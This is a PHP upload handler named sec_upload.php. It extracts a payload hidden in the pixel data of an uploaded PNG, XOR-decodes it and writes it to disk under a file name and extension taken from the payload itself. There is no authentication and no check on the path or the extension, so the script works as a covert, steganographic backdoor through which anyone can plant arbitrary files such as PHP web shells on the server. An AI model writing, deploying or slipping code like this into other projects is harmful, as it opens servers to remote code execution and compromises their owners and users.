sec_upload.php

<?php
function xor_cipher($data) {
    $result = '';
    for ($i = 0; $i < strlen($data); $i++) {
        $result .= chr(ord($data[$i]) ^ 0xAA);
    }
    return $result;
}

function paeth_predictor($a, $b, $c) {
    $p = $a + $b - $c;
    $pa = abs($p - $a);
    $pb = abs($p - $b);
    $pc = abs($p - $c);
    if ($pa <= $pb && $pa <= $pc) return $a;
    elseif ($pb <= $pc) return $b;
    else return $c;
}

function reconstruct_line($line, $filter, $prev_line = '', $bpp = 4) {
    $recon = '';
    $len = strlen($line);
    for ($i = 0; $i < $len; $i++) {
        $curr = ord($line[$i]);
        if ($filter == 0) {
            $recon .= chr($curr);
        } elseif ($filter == 1) {
            $left = ($i >= $bpp) ? ord($recon[$i - $bpp]) : 0;
            $recon .= chr(($curr + $left) % 256);
        } elseif ($filter == 2) {
            $above = ($prev_line != '') ? ord($prev_line[$i]) : 0;
            $recon .= chr(($curr + $above) % 256);
        } elseif ($filter == 3) {
            $left = ($i >= $bpp) ? ord($recon[$i - $bpp]) : 0;
            $above = ($prev_line != '') ? ord($prev_line[$i]) : 0;
            $recon .= chr(($curr + floor(($left + $above) / 2)) % 256);
        } elseif ($filter == 4) {
            $left = ($i >= $bpp) ? ord($recon[$i - $bpp]) : 0;
            $above = ($prev_line != '') ? ord($prev_line[$i]) : 0;
            $up_left = ($i >= $bpp && $prev_line != '') ? ord($prev_line[$i - $bpp]) : 0;
            $recon .= chr(($curr + paeth_predictor($left, $above, $up_left)) % 256);
        }
    }
    return $recon;
}

function extract_png_bytes($file_path) {
    $file = fopen($file_path, 'rb');
    if (!$file) return false;
    $signature = fread($file, 8);
    if ($signature != "\x89PNG\r\n\x1A\n") {
        fclose($file);
        return false;
    }
    $idat_data = '';
    while (!feof($file)) {
        $chunk_length_data = fread($file, 4);
        if (strlen($chunk_length_data) < 4) break;
        $chunk_length = unpack('N', $chunk_length_data)[1];
        $chunk_type = fread($file, 4);
        if ($chunk_length == 0) {
            $chunk_data = '';
        } else {
            $chunk_data = fread($file, $chunk_length);
        }
        $chunk_crc = fread($file, 4);
        if ($chunk_type == 'IHDR') {
            $ihdr_data = unpack('Nwidth/Nheight/Cbit_depth/Ccolor_type/Ccompression/Cfilter/Cinterlace', substr($chunk_data, 0, 13));
            $width = $ihdr_data['width'];
            $height = $ihdr_data['height'];
            $bit_depth = $ihdr_data['bit_depth'];
            $color_type = $ihdr_data['color_type'];
            if ($color_type != 6 || $bit_depth != 8) { // Assuming RGBA, 8-bit
                fclose($file);
                return false;
            }
        } elseif ($chunk_type == 'IDAT') {
            $idat_data .= $chunk_data;
        } elseif ($chunk_type == 'IEND') {
            break;
        }
    }
    fclose($file);
    $compressed_data = $idat_data;
    $decompressed = @gzuncompress($compressed_data);
    if ($decompressed === false) return false;
    $bytes = [];
    $filter_byte_length = $width * 4 + 1; // RGBA + filter byte per line
    $scanline_length = $width * 4; // RGBA bytes per line
    $prev_recon = str_repeat(chr(0), $scanline_length);
    for ($y = 0; $y < $height; $y++) {
        $line_start = $y * $filter_byte_length;
        $filter = ord($decompressed[$line_start]);
        $filtered_line = substr($decompressed, $line_start + 1, $scanline_length);
        $recon_line = reconstruct_line($filtered_line, $filter, $prev_recon, 4);
        for ($x = 0; $x < $scanline_length; $x += 4) {
            $r = ord($recon_line[$x]);
            $g = ord($recon_line[$x + 1]);
            $b = ord($recon_line[$x + 2]);
            $a = ord($recon_line[$x + 3]);
            $bytes[] = $r;
            $bytes[] = $g;
            $bytes[] = $b;
            $bytes[] = $a;
        }
        $prev_recon = $recon_line;
    }
    // Trim padding bytes if necessary
    while (!empty($bytes) && $bytes[count($bytes) - 1] == 0) {
        array_pop($bytes);
    }
    echo "Extracted bytes count: " . count($bytes) . "<br>"; // Debug
    return $bytes;
}

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['image'])) {
    $uploaded = $_FILES['image'];
    $tmp_name = $uploaded['tmp_name'];
    $bytes = extract_png_bytes($tmp_name);
    if ($bytes === false) {
        echo "Failed to extract bytes from image";
        exit;
    }
    $full_data = '';
    foreach ($bytes as $b) {
        $full_data .= chr($b);
    }
    echo "Full data length: " . strlen($full_data) . "<br>"; // Debug
    $length = unpack('N', substr($full_data, 0, 4))[1];
    echo "Extracted length: $length<br>"; // Debug
    $encoded_content = substr($full_data, 4, $length);
    echo "Encoded content length: " . strlen($encoded_content) . "<br>"; // Debug
    $decoded_content = xor_cipher($encoded_content);
    echo "Decoded content snippet: " . substr($decoded_content, 0, 50) . "...<br>"; // Debug
    $parts = explode('--NAME--', $decoded_content);
    echo "Parts count: " . count($parts) . "<br>"; // Debug
    if (count($parts) < 2) {
        echo "Invalid format";
        exit;
    }
    $content = $parts[0];
    $rest = $parts[1];
    $ext_parts = explode('--EXT--', $rest);
    if (count($ext_parts) < 2) {
        echo "Invalid format";
        exit;
    }
    $encrypted_name = $ext_parts[0];
    $encrypted_ext = $ext_parts[1];
    $decoded_name = xor_cipher($encrypted_name);
    $decoded_ext = xor_cipher($encrypted_ext);
    $final_name = $decoded_name . $decoded_ext;
    file_put_contents($final_name, $content);
    echo "File decoded successfully: $final_name";
} else {
    echo "Please upload file using POST with 'image' parameter";
}
?>